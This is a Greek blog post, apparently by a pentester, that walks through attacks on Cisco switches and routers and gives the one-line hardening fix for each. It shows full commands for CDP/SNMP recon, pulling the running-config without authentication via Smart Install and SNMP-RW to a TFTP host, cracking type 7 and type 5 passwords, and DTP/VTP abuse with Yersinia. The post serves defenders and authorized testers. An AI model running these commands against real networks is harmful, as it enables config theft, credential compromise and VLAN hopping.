English · Ελληνικά
Όλη η σειρά μέχρι τώρα χτίζει και θωρακίζει IOS. Αυτό το post είναι η άλλη πλευρά του τραπεζιού: τι τρέχω στην πράξη πάνω σε ένα Cisco switch ή router σε ένα engagement, και γιατί δουλεύει κάθε επίθεση. Κάθε τεχνική εδώ αντιστοιχεί σε μια διόρθωση μίας γραμμής από παλιότερα posts — αυτό είναι το νόημα. Θωρακίζεις αυτό που καταλαβαίνεις ότι δέχεται επίθεση.
Όλα τα παρακάτω είναι για εξουσιοδοτημένο security testing — δικό σου lab, ένα CTF, ή ένα engagement με γραπτό scope — και για να δείξουν στους defenders ακριβώς τι θωρακίζουν. Το να τα τρέξεις πάνω σε εξοπλισμό που δεν σου ανήκει ή δεν έχεις contract να τεστάρεις είναι παράνομο. Οι εντολές υποθέτουν lab (GNS3/CML/EVE-NG ή kit στον πάγκο σου)· το κέρδος είναι η διόρθωση σε κάθε ενότητα, cross-linked με τα αμυντικά posts της σειράς.
Να η άβολη αλήθεια από χρόνια network pentests: σχεδόν ποτέ δεν κάνεις exploit σε ένα Cisco box με την έννοια CVE. Το μαζεύεις. Η συσκευή σου δίνει το ίδιο της το config μέσα από ένα management protocol που κανείς δεν έκλεισε, ή ένα access port διαπραγματεύεται μόνο του σε trunk, ή ένα «προσωρινό» SNMP community από το 2014 είναι ακόμα private. Η επιφάνεια επίθεσης είναι το άθροισμα κάθε default που ο τελευταίος engineer δεν απενεργοποίησε.
Αυτός ο οδηγός περπατά το πραγματικό kill-chain με τη σειρά: recon (CDP/LLDP και SNMP σου δίνουν μοντέλο, έκδοση IOS, και management IP δωρεάν), κλοπή config (Smart Install και SNMP-RW δίνουν και τα δύο running-config χωρίς authentication), cracking credentials (οι τύποι κωδικών σε αυτό το config, από το τετριμμένα αναστρέψιμο type 7 μέχρι το crackable type 5), και κατάχρηση Layer-2 (DTP και VTP, οι επιθέσεις switch που σε βάζουν σε VLAN που δεν θα έπρεπε να φτάνεις). Κάθε ενότητα κλείνει με τη μία εντολή που την κλείνει.
01
Πριν αγγίξεις οτιδήποτε, άκου. Το Cisco Discovery Protocol κάνει broadcast την ταυτότητα της συσκευής σε κάθε access port κάθε 60 δευτερόλεπτα — μοντέλο, έκδοση IOS, native VLAN, και management IP, χωρίς auth. Είναι το πιο φιλικό recon στο networking.
# Τα CDP frames γίνονται multicast στο 01:00:0c:cc:cc:cc κάθε ~60s. # Κάτσε σε access port και περίμενε ένα interval. $ tcpdump -nn -v -i eth0 'ether host 01:00:0c:cc:cc:cc' -c 1 Device-ID 'CoreSW1.corp.local' Version 'Cisco IOS ... Version 15.2(4)E7' Platform 'cisco WS-C2960X-48' Address 10.10.0.2 Native VLAN 99 VTP 'CORP' # Αυτό το ένα frame μας έδωσε μοντέλο, IOS train, mgmt IP, native VLAN, VTP domain. # Τώρα επιβεβαίωσε SNMP και μάντεψε communities (public/private/cisco είναι αιώνια). $ onesixtyone -c /usr/share/wordlists/snmp.txt 10.10.0.2 10.10.0.2 [private] Cisco IOS Software, C2960X ... Version 15.2(4)E7 $ snmpwalk -v2c -c private 10.10.0.2 | head # RW community — jackpot
Το CDP ανήκει ανάμεσα στις δικές σου συσκευές, ποτέ προς χρήστες ή το edge: no cdp run global, ή no cdp enable ανά μη έμπιστο interface (προτίμησε LLDP μόνο όπου ένα τηλέφωνο πραγματικά το χρειάζεται). SNMP: σκότωσε τελείως v1/v2c και πέρνα σε SNMPv3 με auth+priv — δες Observability. Αν πρέπει να υπάρχει community string, ποτέ δεν είναι λέξη λεξικού, και τα RW communities δεν έχουν κανέναν λόγο να υπάρχουν στα περισσότερα δίκτυα.
02
Το Smart Install (SMI) είναι ένα feature zero-touch provisioning που ακούει στο TCP 4786 και, σε unpatched/unconfigured switches, θα δεχτεί ένα craft-αρισμένο μήνυμα που κάνει το switch να στείλει το ίδιο του το running-config μέσω TFTP σε μια διεύθυνση της επιλογής σου — χωρίς credentials. Ερχόταν ενεργό σε μια γενιά Catalyst και είναι ακόμα παντού.
# 1. Ακούει το Smart Install; (TCP 4786) $ nmap -p4786 -sV --script cisco-smart-install 10.10.0.0/24 10.10.0.2 4786/tcp open smart-install | cisco-smart-install: Device is a Smart Install Client and vulnerable # 2. Ξεκίνα TFTP server για να πιάσεις το loot. $ sudo atftpd --daemon --port 69 /tmp/loot # 3. SIET: πες στο switch να αντιγράψει το running-config σε μας μέσω TFTP. $ python3 siet.py -g -r 10.10.0.2 -l 10.10.0.66 [*] Sending config-copy request to 10.10.0.2 ... [+] Received CoreSW1-confg (14 KB) -> /tmp/loot/CoreSW1-confg # Το πλήρες running-config, με κάθε password hash και κλειδί, χωρίς authentication. $ grep -E 'secret|password|snmp|key ' /tmp/loot/CoreSW1-confg
Αυτό είναι ακριβώς το πρόβλημα. Το SMI είναι on by default όταν δεν υπάρχει vstack configuration — η απουσία config είναι η ευάλωτη κατάσταση, όχι η παρουσία της. Το show vstack config που αναφέρει τον ρόλο ως Client (SmartInstall enabled) σε ένα switch που ποτέ δεν προοριζόταν να γίνει provision έτσι είναι το τεκμήριο. Αυτό το ένα feature έχει οδηγήσει σε μαζικές internet-wide καμπάνιες κλοπής config· αντιμετώπισε οποιοδήποτε εκτεθειμένο 4786 σε χρήστες ως πλήρη συμβιβασμό.
Το no vstack στο global config απενεργοποιεί εντελώς το Smart Install. Αν πραγματικά δεν μπορείς (σπάνιο), περιόρισε το 4786 με ACL μόνο στον provisioning server. Επαλήθευσε με show vstack config → Role: Client (SmartInstall disabled). Αυτό είναι το one-liner με τη μεγαλύτερη αξία σε όλη τη σειρά θωράκισης.
03
Ένα read-write SNMP community δεν είναι «διάβασε μερικά OID» — είναι ένα API μέσα στη συσκευή. Με το CISCO-CONFIG-COPY-MIB λες στο switch να στείλει το running-config του σε σένα μέσω TFTP, χρησιμοποιώντας μόνο snmpset. Ίδιο loot με το Smart Install, διαφορετική ξεκλείδωτη πόρτα.
# RW community 'private' από το recon. Row index 111 είναι αυθαίρετο. # ccCopyProtocol=1(tftp) SourceFileType=4(running) DestFileType=1(networkFile) $ snmpset -v2c -c private 10.10.0.2 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a "10.10.0.66" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "CoreSW1.cfg" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1 # RowStatus=createAndGo ... ccCopyState.111 = running -> success # Το config καταλήγει στον TFTP server σου. Το Metasploit το έχει έτοιμο: $ msfconsole -qx "use auxiliary/scanner/snmp/cisco_config_tftp; \ set RHOSTS 10.10.0.2; set COMMUNITY private; run; exit"
Όλη η επίθεση πεθαίνει χωρίς ένα RW community που μπορεί να μαντευτεί. Μετανάστευσε σε SNMPv3 (authPriv), αφαίρεσε κάθε γραμμή snmp-server community, και αν το legacy v2c είναι αναπόφευκτο, δέσε το read-only σε ένα management ACL και χρησιμοποίησε τυχαίο string 20+ χαρακτήρων — ποτέ public/private/το hostname. Δες Observability για το build v3. Bonus: κατέγραψε τα events config-copy του snmp-server σε syslog ώστε μια απόπειρα exfil να είναι ορατή.
04
Έχεις το running-config. Τώρα τα password hashes μέσα του γίνονται creds — και οι «τύποι» κωδικών της Cisco κυμαίνονται από στιγμιαία αναστρέψιμοι μέχρι πραγματικά ισχυροί. Το να ξέρεις ποιος είναι ποιος σου λέει τι αξίζει cracking και τι πέφτει σε δευτερόλεπτα.
| Type στο config | Αλγοριθμος | Προσπαθεια Επιτιθεμενου |
|---|---|---|
| password 7 09424B1C… | Vigenère (obfuscation) | Στιγμιαιο — αναστρέψιμο, όχι hash |
| secret 5 $1$… | MD5-crypt | Γρηγορο — hashcat -m 500 |
| secret 4 $4$… | plain SHA-256 (σπασμένη υλοποίηση) | Γρηγορο — deprecated από Cisco |
| secret 8 $8$… | PBKDF2-SHA256 | Αργο — hashcat -m 9200 |
| secret 9 $9$… | scrypt | Πιο αργό — hashcat -m 9300 |
# Το Type 7 ΔΕΝ είναι encryption — είναι αναστρέψιμο obfuscation. Decode στιγμιαία: $ echo '09424B1C0007' | ciscot7 -d - cisco # (οποιοσδήποτε decoder type-7 το κάνει· δεν υπάρχει τίποτα να «σπάσεις») # Type 5 (MD5-crypt) — τράβα το από το config και πέτα του ένα wordlist. $ grep 'secret 5' CoreSW1-confg enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0 $ hashcat -m 500 -a 0 '$1$mERr$hx5rVt7rPNoS4wqbXKX7m0' rockyou.txt $1$mERr$hx5rVt7rPNoS4wqbXKX7m0:cisco123
service password-encryption Ειναι Θεατρο
Αυτή η εντολή εφαρμόζει μόνο type 7 σε plaintext κωδικούς στο config — το αναστρέψιμο είδος. Σταματά κάποιον που κοιτάζει πάνω από τον ώμο σου, τίποτα παραπάνω· όποιος έχει το config έχει το cleartext σε μία εντολή. Δεν είναι υποκατάστατο πραγματικού hashing. Χρησιμοποίησε enable secret (ποτέ enable password), και προτίμησε type 8 ή 9 για τοπικούς χρήστες: username admin algorithm-type scrypt secret <pw>. Αυτές είναι οι δύο γραμμές που στενάζει ένας επιτιθέμενος.
05
Δεν χρειάζεσαι πάντα το config. Αν ένα access port διαπραγματευτεί trunk, παίρνεις κάθε VLAN. Το Dynamic Trunking Protocol (DTP) είναι on by default σε πολλά ports, και είναι επίθεση ενός εργαλείου.
# Αν το port είναι 'dynamic auto/desirable', το DTP θα κάνει trunk μαζί μας ευχαρίστως. # Το Yersinia πλαστογραφεί DTP για να γυρίσει το port σε trunk. $ yersinia dtp -attack 1 -interface eth0 [+] Enabling trunking on the attached port ... # Τώρα δημιούργησε ένα subinterface ανά VLAN που είδαμε στο CDP και είμαστε σε όλα. $ vconfig add eth0 20 && ip addr add 10.20.0.66/24 dev eth0.20 $ ip link set eth0.20 up && ping 10.20.0.1 # VLAN 20 gateway — προσβασιμο # VTP: αν το domain δεν έχει authentication, κάνε inject μια διαφήμιση # υψηλότερου revision για να ξαναγράψεις/καθαρίσεις τη βάση VLAN σε όλο το fleet (DoS). $ yersinia vtp -attack 0 -interface eth0
Σε κάθε user/access port: switchport mode access και switchport nonegotiate ώστε το DTP να μην μπορεί ποτέ να διαπραγματευτεί trunk. Βάλε ένα αχρησιμοποίητο, tagged native VLAN στα πραγματικά trunks (σκοτώνει και το double-tagging), και είτε τρέξε VTP transparent είτε βάλε VTP password ώστε οι injected διαφημίσεις να απορρίπτονται. Αυτό είναι ο πυρήνας του Ασφαλεια Switch — οι επιθέσεις DTP/VTP υπάρχουν ακριβώς επειδή τα defaults είναι «διαπραγματεύσου ελεύθερα».
06
Όταν παίρνω ένα running-config σε ένα engagement, αυτό είναι το πέρασμα grep — οι γραμμές που γίνονται findings. Τρέξ' το πρώτα πάνω στα δικά σου configs.
| Ψαξε για | Γιατι ειναι finding |
|---|---|
| απουσία no vstack | Smart Install εκτεθειμένο — κλοπή config χωρίς auth (§02) |
| snmp-server community | v1/v2c community· RW = πλήρης συμβιβασμός (§03) |
| enable password / password 7 | Αναστρέψιμο ή αδύναμο· ισοδύναμο με cleartext (§04) |
| secret 5 / secret 4 | Crackable/deprecated hashes — πέρνα σε 8/9 (§04) |
| switchport mode dynamic | Διαπραγμάτευση trunk μέσω DTP → VLAN hopping (§05) |
| no transport input / telnet | Cleartext management· sniffable creds — μόνο SSH |
| cdp run στο edge | Δωρεάν recon σε οποιοδήποτε user port (§01) |
| vtp mode server + χωρίς password | Injection στη βάση VLAN / DoS σε όλο το fleet (§05) |
Συμπερασματα
no cdp run στο edge, μόνο SNMPv3.vstack config = κλοπή running-config χωρίς auth. Το no vstack το κλείνει σε μία γραμμή.snmpset στέλνει το config μέσω TFTP στον επιτιθέμενο. Σκότωσε v2c και κάθε RW community.service password-encryption δεν προστατεύει τίποτα ουσιαστικό.switchport mode access + nonegotiate και ένα VTP password κλείνουν και τα δύο.Τρέχω εξουσιοδοτημένα penetration tests και configuration audits σε Cisco και MikroTik estates — Smart Install, SNMP strings, αδύναμα credentials, έκθεση Layer-2 — και παραδίδω ακριβώς ό,τι θα είχε βρει πρώτος ένας επιτιθέμενος.
Κλεισε μια Discovery Call →